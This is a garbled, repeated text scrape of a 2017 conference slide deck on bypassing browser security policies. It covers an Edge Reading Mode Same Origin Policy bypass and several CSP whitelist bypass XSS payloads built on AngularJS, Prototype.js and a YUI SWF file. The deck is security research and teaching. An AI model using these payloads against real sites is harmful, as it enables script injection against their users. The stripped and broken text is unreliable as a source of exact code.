42
SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security Researcher at i2sec Korea University Graduate School

Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

  • Upload
    others

  • View
    6

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SECUINSIDE 2017

Bypassing Web Browser Security Policies

DongHyun Kim (hackpupu)Security Researcher at i2sec

Korea University Graduate School

Agenda

- Me

- Abstract

- What is HTTP Secure Header

- What is SOP(Same Origin Policy)

- SOP(Same Origin Policy) Bypass 1-Day

- Details CSP(Content-Security-Policy)

- CSP Bypass (Whitelist)

- Conclusion

Me

- 김동현 (hackpupu)

- 19950213

- researcher(c)i2sec

- CTF Web Hacking Pentester

- Scuba Diving Sea

- httpfbcomhackpupu

- httphackpupugithubio

Abstract

Browser Hacking 중 Secure Header에 관한 취약점을 소개한다

What is HTTP Secure Header

옵션 기능 Example

Content-Security-PolicyXSS 공격 방지 허용된 URL에서만 Static Resource 허용

Content-Security-Policy script-src lsquoselfrsquo httpsapisgooglecom

X-Frame-Options FRAME을 차단 설정된 도메인만 허용 X-Frame-Options SAMDORIGIN or Deny or httpi2seccokr

X-Content-Type-Options MIME-Snffing 공격을 차단 X-Content-Type-Options nosniff

Strict-Transport-Security HTTPS로 강제 고정해 연결(MITM 공격 차단) Strict-Transport-Security max-age=1607400 includeSubDomains

Public-Key-Pins 인증서 PIN을 비교 후 연결(위조된 인증서 확인)Public-Key-Pins pin-sha256=ldquoltsha256gtrdquo pin-sha256=ldquoltsha256gtrdquo max-age=ldquo15768000 includeSubDomains

X-XSS-Protection 브라우저의 XSS 필터를 활성화 X-XSS-Protection 1 mode-block

어떠한 Response Header가 Client Browser에 영향을 줄 수 있는가

What is HTTP Secure Header

Github Response Header Example

What is SOP(Same Origin Policy)

Same Origin Policy Details - Example

Example httpseouli2seccokrindexhtml

URL 결과 이유

httpseouli2seccokrsecuinsidetesthtml 성공

httpseouli2seccokreducationmainhtml 성공

httpsseouli2seccokrsecurehtml 실패 프로토콜 상이

httpseouli2seccokr8080etchtml 실패 포트 상이

httpbusani2seccokretchtml 실패 호스트 상이

What is SOP(Same Origin Policy)

Same Origin Policy Details - What is Origin

http seouli2seccokr 8080

Origin

scheme hostname port

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 2: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

Agenda

- Me

- Abstract

- What is HTTP Secure Header

- What is SOP(Same Origin Policy)

- SOP(Same Origin Policy) Bypass 1-Day

- Details CSP(Content-Security-Policy)

- CSP Bypass (Whitelist)

- Conclusion

Me

- 김동현 (hackpupu)

- 19950213

- researcher(c)i2sec

- CTF Web Hacking Pentester

- Scuba Diving Sea

- httpfbcomhackpupu

- httphackpupugithubio

Abstract

Browser Hacking 중 Secure Header에 관한 취약점을 소개한다

What is HTTP Secure Header

옵션 기능 Example

Content-Security-PolicyXSS 공격 방지 허용된 URL에서만 Static Resource 허용

Content-Security-Policy script-src lsquoselfrsquo httpsapisgooglecom

X-Frame-Options FRAME을 차단 설정된 도메인만 허용 X-Frame-Options SAMDORIGIN or Deny or httpi2seccokr

X-Content-Type-Options MIME-Snffing 공격을 차단 X-Content-Type-Options nosniff

Strict-Transport-Security HTTPS로 강제 고정해 연결(MITM 공격 차단) Strict-Transport-Security max-age=1607400 includeSubDomains

Public-Key-Pins 인증서 PIN을 비교 후 연결(위조된 인증서 확인)Public-Key-Pins pin-sha256=ldquoltsha256gtrdquo pin-sha256=ldquoltsha256gtrdquo max-age=ldquo15768000 includeSubDomains

X-XSS-Protection 브라우저의 XSS 필터를 활성화 X-XSS-Protection 1 mode-block

어떠한 Response Header가 Client Browser에 영향을 줄 수 있는가

What is HTTP Secure Header

Github Response Header Example

What is SOP(Same Origin Policy)

Same Origin Policy Details - Example

Example httpseouli2seccokrindexhtml

URL 결과 이유

httpseouli2seccokrsecuinsidetesthtml 성공

httpseouli2seccokreducationmainhtml 성공

httpsseouli2seccokrsecurehtml 실패 프로토콜 상이

httpseouli2seccokr8080etchtml 실패 포트 상이

httpbusani2seccokretchtml 실패 호스트 상이

What is SOP(Same Origin Policy)

Same Origin Policy Details - What is Origin

http seouli2seccokr 8080

Origin

scheme hostname port

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 3: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

Me

- 김동현 (hackpupu)

- 19950213

- researcher(c)i2sec

- CTF Web Hacking Pentester

- Scuba Diving Sea

- httpfbcomhackpupu

- httphackpupugithubio

Abstract

Browser Hacking 중 Secure Header에 관한 취약점을 소개한다

What is HTTP Secure Header

옵션 기능 Example

Content-Security-PolicyXSS 공격 방지 허용된 URL에서만 Static Resource 허용

Content-Security-Policy script-src lsquoselfrsquo httpsapisgooglecom

X-Frame-Options FRAME을 차단 설정된 도메인만 허용 X-Frame-Options SAMDORIGIN or Deny or httpi2seccokr

X-Content-Type-Options MIME-Snffing 공격을 차단 X-Content-Type-Options nosniff

Strict-Transport-Security HTTPS로 강제 고정해 연결(MITM 공격 차단) Strict-Transport-Security max-age=1607400 includeSubDomains

Public-Key-Pins 인증서 PIN을 비교 후 연결(위조된 인증서 확인)Public-Key-Pins pin-sha256=ldquoltsha256gtrdquo pin-sha256=ldquoltsha256gtrdquo max-age=ldquo15768000 includeSubDomains

X-XSS-Protection 브라우저의 XSS 필터를 활성화 X-XSS-Protection 1 mode-block

어떠한 Response Header가 Client Browser에 영향을 줄 수 있는가

What is HTTP Secure Header

Github Response Header Example

What is SOP(Same Origin Policy)

Same Origin Policy Details - Example

Example httpseouli2seccokrindexhtml

URL 결과 이유

httpseouli2seccokrsecuinsidetesthtml 성공

httpseouli2seccokreducationmainhtml 성공

httpsseouli2seccokrsecurehtml 실패 프로토콜 상이

httpseouli2seccokr8080etchtml 실패 포트 상이

httpbusani2seccokretchtml 실패 호스트 상이

What is SOP(Same Origin Policy)

Same Origin Policy Details - What is Origin

http seouli2seccokr 8080

Origin

scheme hostname port

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 4: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

Abstract

Browser Hacking 중 Secure Header에 관한 취약점을 소개한다

What is HTTP Secure Header

옵션 기능 Example

Content-Security-PolicyXSS 공격 방지 허용된 URL에서만 Static Resource 허용

Content-Security-Policy script-src lsquoselfrsquo httpsapisgooglecom

X-Frame-Options FRAME을 차단 설정된 도메인만 허용 X-Frame-Options SAMDORIGIN or Deny or httpi2seccokr

X-Content-Type-Options MIME-Snffing 공격을 차단 X-Content-Type-Options nosniff

Strict-Transport-Security HTTPS로 강제 고정해 연결(MITM 공격 차단) Strict-Transport-Security max-age=1607400 includeSubDomains

Public-Key-Pins 인증서 PIN을 비교 후 연결(위조된 인증서 확인)Public-Key-Pins pin-sha256=ldquoltsha256gtrdquo pin-sha256=ldquoltsha256gtrdquo max-age=ldquo15768000 includeSubDomains

X-XSS-Protection 브라우저의 XSS 필터를 활성화 X-XSS-Protection 1 mode-block

어떠한 Response Header가 Client Browser에 영향을 줄 수 있는가

What is HTTP Secure Header

Github Response Header Example

What is SOP(Same Origin Policy)

Same Origin Policy Details - Example

Example httpseouli2seccokrindexhtml

URL 결과 이유

httpseouli2seccokrsecuinsidetesthtml 성공

httpseouli2seccokreducationmainhtml 성공

httpsseouli2seccokrsecurehtml 실패 프로토콜 상이

httpseouli2seccokr8080etchtml 실패 포트 상이

httpbusani2seccokretchtml 실패 호스트 상이

What is SOP(Same Origin Policy)

Same Origin Policy Details - What is Origin

http seouli2seccokr 8080

Origin

scheme hostname port

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

